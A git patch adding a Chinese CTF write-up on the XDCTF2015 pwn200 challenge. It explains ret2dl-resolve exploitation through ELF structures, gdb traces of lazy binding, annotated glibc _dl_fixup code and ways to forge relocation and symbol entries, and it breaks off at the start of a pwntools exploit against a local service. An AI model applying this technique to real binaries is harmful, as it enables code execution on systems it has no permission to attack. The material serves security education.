From 5501123c31c06facebadfb5448ca6ffb8168899a Mon Sep 17 00:00:00 2001 From: firmianay Date: Sat, 18 Nov 2017 16:00:58 +0800 Subject: [PATCH] finish 6.3 --- doc/4.4_gcc_sec.md | 4 + doc/6.3_pwn_xdctf2015_pwn200.md | 1090 ++++++++++++++++- pic/6.3_attack.png | Bin 0 -> 152266 bytes pic/6.3_dl-resolve.png | Bin 0 -> 39740 bytes pic/6.3_link_map.png | Bin 0 -> 73352 bytes src/writeup/6.3_pwn_xdctf2015_pwn200/a.out | Bin 0 -> 5520 bytes .../exp_use_ret2dl-resolve.py | 189 +++ 7 files changed, 1280 insertions(+), 3 deletions(-) create mode 100644 pic/6.3_attack.png create mode 100644 pic/6.3_dl-resolve.png create mode 100644 pic/6.3_link_map.png create mode 100755 src/writeup/6.3_pwn_xdctf2015_pwn200/a.out create mode 100644 src/writeup/6.3_pwn_xdctf2015_pwn200/exp_use_ret2dl-resolve.py diff --git a/doc/4.4_gcc_sec.md b/doc/4.4_gcc_sec.md index 63e4601..19c0754 100644 --- a/doc/4.4_gcc_sec.md +++ b/doc/4.4_gcc_sec.md @@ -296,6 +296,10 @@ Partial RELRO No canary found NX enabled No PIE No RPATH No RU #### RELRO RELRO(ReLocation Read-Only)设置符号重定向表为只读或在程序启动时就解析并绑定所有动态符号,从而减少对 GOT(Global Offset Table)的攻击。 +RELOR 有两种形式: +- Partial RELRO:一些段(包括 `.dynamic`)在初始化后将会被标记为只读。 +- Full RELRO:除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,`.got.plt` 段会被完全初始化为目标函数的最终地址,并被标记为只读。 + ## 编译参数 各种安全技术的编译参数如下: diff --git a/doc/6.3_pwn_xdctf2015_pwn200.md b/doc/6.3_pwn_xdctf2015_pwn200.md index 60aff76..d7bdb8f 100644 --- a/doc/6.3_pwn_xdctf2015_pwn200.md +++ b/doc/6.3_pwn_xdctf2015_pwn200.md @@ -31,13 +31,13 @@ int main() ``` 使用下面的语句编译: ``` -$ gcc -m32 -fno-stack-protector -s pwn200.c +$ gcc -m32 -fno-stack-protector -no-pie -s pwn200.c ``` checksec 如下: ``` -$ checksec -f a.out +$ checksec -f a.out RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE -Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 1 a.out +Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 1 a.out ``` 在开启 ASLR 的情况下把程序运行起来: ``` @@ -47,10 +47,1094 @@ $ socat tcp4-listen:10001,reuseaddr,fork exec:./a.out & ## ret2dl-resolve 原理及题目解析 +这种利用的技术是在 2015 年的论文 “How the ELF Ruined Christmas” 中提出的,论文地址在参考资料中。ret2dl-resolve 不需要信息泄露,而是通过动态装载器来直接标识关键函数的位置并调用它们。它可以绕过多种安全缓解措施,包括专门为保护 ELF 数据结构不被破坏而设计的 RELRO。而在 ctf 中,我们也能看到它的身影,通常用于对付无法获得目标系统 libc.so 的情况。 + +#### 延迟绑定 +关于动态链接我们在章节 1.5.6 中已经讲过了,这里就重点讲一下动态解析的过程。我们知道,在动态链接中,如果程序没有开启 Full RELRO 保护,则存在延迟绑定的过程,即库函数在第一次被调用时才将函数的真正地址填入 GOT 表以完成绑定。 + +一个动态链接程序的程序头表中会包含类型为 `PT_DYNAMIC` 的段,它包含了 `.dynamic` 段,结构如下: +```C +typedef struct +{ + Elf32_Sword d_tag; /* Dynamic entry type */ + union + { + Elf32_Word d_val; /* Integer value */ + Elf32_Addr d_ptr; /* Address value */ + } d_un; +} Elf32_Dyn; + +typedef struct +{ + Elf64_Sxword d_tag; /* Dynamic entry type */ + union + { + Elf64_Xword d_val; /* Integer value */ + Elf64_Addr d_ptr; /* Address value */ + } d_un; +} Elf64_Dyn; +``` +一个 `Elf_Dyn` 是一个键值对,其中 `d_tag` 是键,`d_value` 是值。其中有个例外的条目是 `DT_DEBUG`,它保存了动态装载器内部数据结构的指针。 + +段表结构如下: +```C +typedef struct +{ + Elf32_Word sh_name; /* Section name (string tbl index) */ + Elf32_Word sh_type; /* Section type */ + Elf32_Word sh_flags; /* Section flags */ + Elf32_Addr sh_addr; /* Section virtual addr at execution */ + Elf32_Off sh_offset; /* Section file offset */ + Elf32_Word sh_size; /* Section size in bytes */ + Elf32_Word sh_link; /* Link to another section */ + Elf32_Word sh_info; /* Additional section information */ + Elf32_Word sh_addralign; /* Section alignment */ + Elf32_Word sh_entsize; /* Entry size if section holds table */ +} Elf32_Shdr; + +typedef struct +{ + Elf64_Word sh_name; /* Section name (string tbl index) */ + Elf64_Word sh_type; /* Section type */ + Elf64_Xword sh_flags; /* Section flags */ + Elf64_Addr sh_addr; /* Section virtual addr at execution */ + Elf64_Off sh_offset; /* Section file offset */ + Elf64_Xword sh_size; /* Section size in bytes */ + Elf64_Word sh_link; /* Link to another section */ + Elf64_Word sh_info; /* Additional section information */ + Elf64_Xword sh_addralign; /* Section alignment */ + Elf64_Xword sh_entsize; /* Entry size if section holds table */ +} Elf64_Shdr; +``` + +具体来看,首先在 write@plt 地址处下断点,然后运行: +``` +gdb-peda$ p write +$1 = {} 0x8048430 +gdb-peda$ b *0x8048430 +Breakpoint 1 at 0x8048430 +gdb-peda$ r +Starting program: /home/firmy/Desktop/RE4B/200/a.out +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd59c --> 0x804861b (add esp,0x10) +EIP: 0x8048430 (: jmp DWORD PTR ds:0x804a01c) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x8048420 <__libc_start_main@plt>: jmp DWORD PTR ds:0x804a018 + 0x8048426 <__libc_start_main@plt+6>: push 0x18 + 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 +=> 0x8048430 : jmp DWORD PTR ds:0x804a01c + | 0x8048436 : push 0x20 + | 0x804843b : jmp 0x80483e0 + | 0x8048440: jmp DWORD PTR ds:0x8049ff0 + | 0x8048446: xchg ax,ax + |-> 0x8048436 : push 0x20 + 0x804843b : jmp 0x80483e0 + 0x8048440: jmp DWORD PTR ds:0x8049ff0 + 0x8048446: xchg ax,ax + JUMP is taken +[------------------------------------stack-------------------------------------] +0000| 0xffffd59c --> 0x804861b (add esp,0x10) +0004| 0xffffd5a0 --> 0x1 +0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0012| 0xffffd5a8 --> 0x17 +0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value + +Breakpoint 1, 0x08048430 in write@plt () +gdb-peda$ x/w 0x804a01c +0x804a01c: 0x08048436 +``` +由于是第一次运行,尚未进行绑定,`0x804a01c` 地址处保存的是 write@plt+6 的地址 `0x8048436`,即跳转到下一条指令。 + +将 `0x20` 压入栈中,这个数字是导入函数的标识,即一个 ELF_Rel 在 `.rel.plt` 中的偏移: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd59c --> 0x804861b (add esp,0x10) +EIP: 0x8048436 (: push 0x20) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x8048426 <__libc_start_main@plt+6>: push 0x18 + 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 + 0x8048430 : jmp DWORD PTR ds:0x804a01c +=> 0x8048436 : push 0x20 + 0x804843b : jmp 0x80483e0 + 0x8048440: jmp DWORD PTR ds:0x8049ff0 + 0x8048446: xchg ax,ax + 0x8048448: add BYTE PTR [eax],al +[------------------------------------stack-------------------------------------] +0000| 0xffffd59c --> 0x804861b (add esp,0x10) +0004| 0xffffd5a0 --> 0x1 +0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0012| 0xffffd5a8 --> 0x17 +0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x08048436 in write@plt () +``` + +然后跳转到 `0x80483e0`,该地址是 `.plt` 段的开头,即 PLT[0]: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd598 --> 0x20 (' ') +EIP: 0x804843b (: jmp 0x80483e0) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x804842b <__libc_start_main@plt+11>: jmp 0x80483e0 + 0x8048430 : jmp DWORD PTR ds:0x804a01c + 0x8048436 : push 0x20 +=> 0x804843b : jmp 0x80483e0 + | 0x8048440: jmp DWORD PTR ds:0x8049ff0 + | 0x8048446: xchg ax,ax + | 0x8048448: add BYTE PTR [eax],al + | 0x804844a: add BYTE PTR [eax],al + |-> 0x80483e0: push DWORD PTR ds:0x804a004 + 0x80483e6: jmp DWORD PTR ds:0x804a008 + 0x80483ec: add BYTE PTR [eax],al + 0x80483ee: add BYTE PTR [eax],al + JUMP is taken +[------------------------------------stack-------------------------------------] +0000| 0xffffd598 --> 0x20 (' ') +0004| 0xffffd59c --> 0x804861b (add esp,0x10) +0008| 0xffffd5a0 --> 0x1 +0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0016| 0xffffd5a8 --> 0x17 +0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x0804843b in write@plt () +``` +``` +$ readelf -S a.out | grep 80483e0 + [12] .plt PROGBITS 080483e0 0003e0 000060 04 AX 0 0 16 +``` + +接下来就进入 PLT[0] 处的代码: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd598 --> 0x20 (' ') +EIP: 0x80483e0 (push DWORD PTR ds:0x804a004) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] +=> 0x80483e0: push DWORD PTR ds:0x804a004 + 0x80483e6: jmp DWORD PTR ds:0x804a008 + 0x80483ec: add BYTE PTR [eax],al + 0x80483ee: add BYTE PTR [eax],al +[------------------------------------stack-------------------------------------] +0000| 0xffffd598 --> 0x20 (' ') +0004| 0xffffd59c --> 0x804861b (add esp,0x10) +0008| 0xffffd5a0 --> 0x1 +0012| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0016| 0xffffd5a8 --> 0x17 +0020| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0024| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0028| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x080483e0 in ?? () +gdb-peda$ x/w 0x804a004 +0x804a004: 0xf7ffd900 +gdb-peda$ x/w 0x804a008 +0x804a008: 0xf7fec370 +``` +``` +$ readelf -S a.out | grep .got.plt + [23] .got.plt PROGBITS 0804a000 001000 000020 04 WA 0 0 4 +``` +看一下 `.got.plt` 段,所以 `0x804a004` 和 `0x804a008` 分别是 GOT[1] 和 GOT[2]。继续调试: + +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd594 --> 0xf7ffd900 --> 0x0 +EIP: 0x80483e6 (jmp DWORD PTR ds:0x804a008) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0x80483dd: add BYTE PTR [eax],al + 0x80483df: add bh,bh + 0x80483e1: xor eax,0x804a004 +=> 0x80483e6: jmp DWORD PTR ds:0x804a008 + | 0x80483ec: add BYTE PTR [eax],al + | 0x80483ee: add BYTE PTR [eax],al + | 0x80483f0 : jmp DWORD PTR ds:0x804a00c + | 0x80483f6 : push 0x0 + |-> 0xf7fec370 <_dl_runtime_resolve>: push eax + 0xf7fec371 <_dl_runtime_resolve+1>: push ecx + 0xf7fec372 <_dl_runtime_resolve+2>: push edx + 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] + JUMP is taken +[------------------------------------stack-------------------------------------] +0000| 0xffffd594 --> 0xf7ffd900 --> 0x0 +0004| 0xffffd598 --> 0x20 (' ') +0008| 0xffffd59c --> 0x804861b (add esp,0x10) +0012| 0xffffd5a0 --> 0x1 +0016| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0020| 0xffffd5a8 --> 0x17 +0024| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0028| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0x080483e6 in ?? () +``` +PLT[0] 处的代码将 GOT[1] 的值压入栈中,然后跳转到 GOT[2]。这两个 GOT 表条目有着特殊的含义,动态链接器在开始时给它们填充了特殊的内容: +- GOT[1]:一个指向内部数据结构的指针,类型是 link_map,在动态装载器内部使用,包含了进行符号解析需要的当前 ELF 对象的信息。在它的 `l_info` 域中保存了 `.dynamic` 段中大多数条目的指针构成的一个数组,我们后面会利用它。 +- GOT[2]:一个指向动态装载器中 `_dl_runtime_resolve` 函数的指针。 + +函数使用参数 `link_map_obj` 来获取解析导入函数(使用`reloc_index`参数标识)需要的信息,并将结果写到正确的 GOT 条目中。在 `_dl_runtime_resolve` 解析完成后,控制流就交到了那个函数手里,而下次再调用函数的 plt 时,就会直接进入目标函数中执行。 + +`_dl-runtime-resolve` 的过程如下图所示: + +![](../pic/6.3_dl-resolve.png) + +重定位项使用 Elf_Rel 结构体来描述,存在于 `.rep.plt` 段和 `.rel.dyn` 段中: +```C +typedef uint32_t Elf32_Addr; +typedef uint32_t Elf32_Word; + +typedef struct +{ + Elf32_Addr r_offset; /* Address */ + Elf32_Word r_info; /* Relocation type and symbol index */ +} Elf32_Rel; + +typedef uint64_t Elf64_Addr; +typedef uint64_t Elf64_Xword; +typedef int64_t Elf64_Sxword; + +typedef struct +{ + Elf64_Addr r_offset; /* Address */ + Elf64_Xword r_info; /* Relocation type and symbol index */ + Elf64_Sxword r_addend; /* Addend */ +} Elf64_Rela; +``` +32 位程序使用 REL,而 64 位程序使用 RE +LA。 +下面的宏描述了 r_info 是怎样被解析和插入的: +```C +/* How to extract and insert information held in the r_info field. */ + +#define ELF32_R_SYM(val) ((val) >> 8) +#define ELF32_R_TYPE(val) ((val) & 0xff) +#define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) + +#define ELF64_R_SYM(i) ((i) >> 32) +#define ELF64_R_TYPE(i) ((i) & 0xffffffff) +#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) +``` +举个例子: +``` +ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8 +``` + +每个符号使用 Elf_Sym 结构体来描述,存在于 `.dynsym` 段和 `.symtab` 段中,而 `.symtab` 在 strip 之后会被删掉: +```C +typedef struct +{ + Elf32_Word st_name; /* Symbol name (string tbl index) */ + Elf32_Addr st_value; /* Symbol value */ + Elf32_Word st_size; /* Symbol size */ + unsigned char st_info; /* Symbol type and binding */ + unsigned char st_other; /* Symbol visibility */ + Elf32_Section st_shndx; /* Section index */ +} Elf32_Sym; + +typedef struct +{ + Elf64_Word st_name; /* Symbol name (string tbl index) */ + unsigned char st_info; /* Symbol type and binding */ + unsigned char st_other; /* Symbol visibility */ + Elf64_Section st_shndx; /* Section index */ + Elf64_Addr st_value; /* Symbol value */ + Elf64_Xword st_size; /* Symbol size */ +} Elf64_Sym; +``` +下面的宏描述了 st_info 是怎样被解析和插入的: +```C +/* How to extract and insert information held in the st_info field. */ + +#define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) +#define ELF32_ST_TYPE(val) ((val) & 0xf) +#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) + +/* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */ +#define ELF64_ST_BIND(val) ELF32_ST_BIND (val) +#define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val) +#define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type)) +``` + +所以 PLT[0] 其实就是调用的以下函数: +``` +_dl_runtime_resolve(link_map_obj, reloc_index) +``` +``` +gdb-peda$ disassemble 0xf7fec370 +Dump of assembler code for function _dl_runtime_resolve: + 0xf7fec370 <+0>: push eax + 0xf7fec371 <+1>: push ecx + 0xf7fec372 <+2>: push edx + 0xf7fec373 <+3>: mov edx,DWORD PTR [esp+0x10] + 0xf7fec377 <+7>: mov eax,DWORD PTR [esp+0xc] + 0xf7fec37b <+11>: call 0xf7fe6080 <_dl_fixup> + 0xf7fec380 <+16>: pop edx + 0xf7fec381 <+17>: mov ecx,DWORD PTR [esp] + 0xf7fec384 <+20>: mov DWORD PTR [esp],eax + 0xf7fec387 <+23>: mov eax,DWORD PTR [esp+0x4] + 0xf7fec38b <+27>: ret 0xc +End of assembler dump. +``` +该函数在 `glibc/sysdeps/i386/dl-trampoline.S` 中用汇编实现,先保存寄存器,然后将两个值分别传入寄存器,调用 `_dl_fixup`,最后恢复寄存器: +``` +gdb-peda$ x/w $esp+0x10 +0xffffd598: 0x00000020 +gdb-peda$ x/w $esp+0xc +0xffffd594: 0xf7ffd900 +``` +还记得这两个值吗,一个是在 `: push 0x20` 中压入的偏移量,一个是 PLT[0] 中 `push DWORD PTR ds:0x804a004` 压入的 GOT[1]。 + +函数 `_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)`,其参数分别由寄存器 `eax` 和 `edx` 提供。继续调试: +``` +gdb-peda$ n +[----------------------------------registers-----------------------------------] +EAX: 0xf7ffd900 --> 0x0 +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x20 (' ') +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd588 --> 0x3 +EIP: 0xf7fec37b (<_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup>) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7fec372 <_dl_runtime_resolve+2>: push edx + 0xf7fec373 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10] + 0xf7fec377 <_dl_runtime_resolve+7>: mov eax,DWORD PTR [esp+0xc] +=> 0xf7fec37b <_dl_runtime_resolve+11>: call 0xf7fe6080 <_dl_fixup> + 0xf7fec380 <_dl_runtime_resolve+16>: pop edx + 0xf7fec381 <_dl_runtime_resolve+17>: mov ecx,DWORD PTR [esp] + 0xf7fec384 <_dl_runtime_resolve+20>: mov DWORD PTR [esp],eax + 0xf7fec387 <_dl_runtime_resolve+23>: mov eax,DWORD PTR [esp+0x4] +Guessed arguments: +arg[0]: 0x3 +arg[1]: 0x2a8c +arg[2]: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +[------------------------------------stack-------------------------------------] +0000| 0xffffd588 --> 0x3 +0004| 0xffffd58c --> 0x2a8c +0008| 0xffffd590 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0012| 0xffffd594 --> 0xf7ffd900 --> 0x0 +0016| 0xffffd598 --> 0x20 (' ') +0020| 0xffffd59c --> 0x804861b (add esp,0x10) +0024| 0xffffd5a0 --> 0x1 +0028| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0xf7fec37b in _dl_runtime_resolve () from /lib/ld-linux.so.2 +gdb-peda$ s +[----------------------------------registers-----------------------------------] +EAX: 0xffffd5bc ("Welcome to XDCTF2015~!\n") +EBX: 0x804a000 --> 0x8049f04 --> 0x1 +ECX: 0x2a8c +EDX: 0x3 +ESI: 0xf7f8ee28 --> 0x1d1d30 +EDI: 0xffffd620 --> 0x1 +EBP: 0xffffd638 --> 0x0 +ESP: 0xffffd59c --> 0x804861b (add esp,0x10) +EIP: 0xf7ea3100 (: push esi) +EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) +[-------------------------------------code-------------------------------------] + 0xf7ea30fb: xchg ax,ax + 0xf7ea30fd: xchg ax,ax + 0xf7ea30ff: nop +=> 0xf7ea3100 : push esi + 0xf7ea3101 : push ebx + 0xf7ea3102 : sub esp,0x14 + 0xf7ea3105 : mov ebx,DWORD PTR [esp+0x20] + 0xf7ea3109 : mov ecx,DWORD PTR [esp+0x24] +[------------------------------------stack-------------------------------------] +0000| 0xffffd59c --> 0x804861b (add esp,0x10) +0004| 0xffffd5a0 --> 0x1 +0008| 0xffffd5a4 --> 0xffffd5bc ("Welcome to XDCTF2015~!\n") +0012| 0xffffd5a8 --> 0x17 +0016| 0xffffd5ac --> 0x80485a4 (add ebx,0x1a5c) +0020| 0xffffd5b0 --> 0xffffd5ea --> 0x0 +0024| 0xffffd5b4 --> 0xf7ffca64 --> 0x6 +0028| 0xffffd5b8 --> 0xf7ffca68 --> 0x3c ('<') +[------------------------------------------------------------------------------] +Legend: code, data, rodata, value +0xf7ea3100 in write () from /usr/lib32/libc.so.6 +``` +即使我们使用单步进入,也不能调试 `_dl_fixup`,它直接就执行完成并跳转到 write 函数了,而此时,GOT 的地址已经被覆盖为实际地址: +``` +gdb-peda$ x/w 0x804a01c +0x804a01c: 0xf7ea3100 +``` + +再强调一遍:fixup 是通过寄存器取参数的,这似乎违背了 32 位程序的调用约定,但它就是这样,上面 gdb 中显示的参数是错误的,该函数对程序员来说是透明的,所以会尽量少用栈去做操作。 + +既然不能调试,直接看代码吧,在 `glibc/elf/dl-runtime.c` 中: +```C +DL_FIXUP_VALUE_TYPE +attribute_hidden __attribute ((noinline)) ARCH_FIXUP_ATTRIBUTE +_dl_fixup ( +# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS + ELF_MACHINE_RUNTIME_FIXUP_ARGS, +# endif + struct link_map *l, ElfW(Word) reloc_arg) +{ + // 分别获取动态链接符号表和动态链接字符串表的基址 + const ElfW(Sym) *const symtab + = (const void *) D_PTR (l, l_info[DT_SYMTAB]); + const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); + + // 通过参数 reloc_arg 计算重定位入口,这里的 DT_JMPREL 即 .rel.plt,reloc_offset 即 reloc_arg + const PLTREL *const reloc + = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); + + // 根据函数重定位表中的动态链接符号表索引,即 reloc->r_info,获取函数在动态链接符号表中对应的条目 + const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; + const ElfW(Sym) *refsym = sym; + void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); + lookup_t result; + DL_FIXUP_VALUE_TYPE value; + + /* Sanity check that we're really looking at a PLT relocation. */ + assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); + + /* Look up the target symbol. If the normal lookup rules are not + used don't look in the global scope. */ + if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) + { + const struct r_found_version *version = NULL; + + if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) + { + const ElfW(Half) *vernum = + (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); + ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; + version = &l->l_versions[ndx]; + if (version->hash == 0) + version = NULL; + } + + /* We need to keep the scope around so do some locking. This is + not necessary for objects which cannot be unloaded or when + we are not using any threads (yet). */ + int flags = DL_LOOKUP_ADD_DEPENDENCY; + if (!RTLD_SINGLE_THREAD_P) + { + THREAD_GSCOPE_SET_FLAG (); + flags |= DL_LOOKUP_GSCOPE_LOCK; + } + +#ifdef RTLD_ENABLE_FOREIGN_CALL + RTLD_ENABLE_FOREIGN_CALL; +#endif + // 根据 strtab+sym->st_name 在字符串表中找到函数名,然后进行符号查找获取 libc 基址 result + result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, + version, ELF_RTYPE_CLASS_PLT, flags, NULL); + + /* We are done with the global scope. */ + if (!RTLD_SINGLE_THREAD_P) + THREAD_GSCOPE_RESET_FLAG (); + +#ifdef RTLD_FINALIZE_FOREIGN_CALL + RTLD_FINALIZE_FOREIGN_CALL; +#endif + + /* Currently result contains the base load address (or link map) + of the object that defines sym. Now add in the symbol + offset. */ + + // 将要解析的函数的偏移地址加上 libc 基址,得到函数的实际地址 + value = DL_FIXUP_MAKE_VALUE (result, + sym ? (LOOKUP_VALUE_ADDRESS (result) + + sym->st_value) : 0); + } + else + { + /* We already found the symbol. The module (and therefore its load + address) is also known. */ + value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); + result = l; + } + + /* And now perhaps the relocation addend. */ + value = elf_machine_plt_value (l, reloc, value); + + // 将已经解析完成的函数地址写入相应的 GOT 表中 + if (sym != NULL + && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0)) + value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value)); + + /* Finally, fix up the plt itself. */ + if (__glibc_unlikely (GLRO(dl_bind_not))) + return value; + + return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); +} +``` + +#### 攻击 +关于延迟绑定的攻击,在于强迫动态装载器解析请求的函数。 + +![](../pic/6.3_attack.png) + +- 图a中,因为动态转载器是从 `.dynamic` 段的 `DT_STRTAB` 条目中获得 `.dynstr` 段的地址的,而 `DT_STRTAB` 条目的位置已知,默认情况下也可写。所以攻击者能够改写 `DT_STRTAB` 条目的内容,欺骗动态装载器,让它以为 `.dynstr` 段在 `.bss` 段中,并在那里伪造一个假的字符串表。当它尝试解析 printf 时会使用不同的基地址来寻找函数名,最终执行的是 execve。这种方式非常简单,但仅当二进制程序的 `.dynamic` 段可写时有效。 +- 图b中,我们已经知道 `_dl_runtime_resolve` 的第二个参数是 Elf_Rel 条目在 `.rel.plt` 段中的偏移,动态装载器将这个值加上 `.rel.plt` 的基址来得到目标结构体的绝对位置。然后当传递给 `_dl_runtime_resolve` 的参数 `reloc_index` 超出了 `.rel.plt` 段,并最终落在 `.bss` 段中时,攻击者可以在该位置伪造了一个 `Elf_Rel` 结构,并填写 `r_offset` 的值为一个可写的内存地址来将解析后的函数地址写在那里,同理 `r_info` 也会是一个将动态装载器导向到攻击者控制内存的下标。这个下标就指向一个位于它后面的 `Elf_Sym` 结构,而 `Elf_Sym` 结构中的 `st_name` 同样超出了 `.dynsym` 段。这样这个符号就会包含一个相对于 `.dynstr` 地址足够大的偏移使其能够达到这个符号之后的一段内存,而那段内存里保存着这个将要调用的函数的名称。 + +还记得我们前面说过的 GOT[1],它是一个 link_map 类型的指针,其 `l_info` 域中有一个包含 `.dynmic` 段中所有条目构成的数组。动态链接器就是利用这些指针来定位符号解析过程中使用的对象的。通过覆盖这个 link\_map 的一部分,就能够将 `l_info` 域中的 `DT_STRTAB` 条目指向一个特意制造的动态条目,那里则指向一个假的动态字符串表。 + +![](../pic/6.3_link_map.png) + +#### pwn200 +获得了 re2dl-resolve 所需的所有知识,下面我们来分析题目。 + +首先触发栈溢出漏洞,偏移为 112: +``` +gdb-peda$ pattern_offset 0x41384141 +1094205761 found at offset: 112 +``` + +根据理论知识及对二进制文件的分析,我们需要一个 read 函数用于读入后续的 payload 和伪造的各种表,一个 write 函数用于验证每一步的正确性,最后将 write 换成 system,就能得到 shell 了。 +```python +from pwn import * + +# context.log_level = 'debug' + +elf = ELF('./a.out') +io = remote('127.0.0.1', 10001) +io.recv() + +pppr_addr = 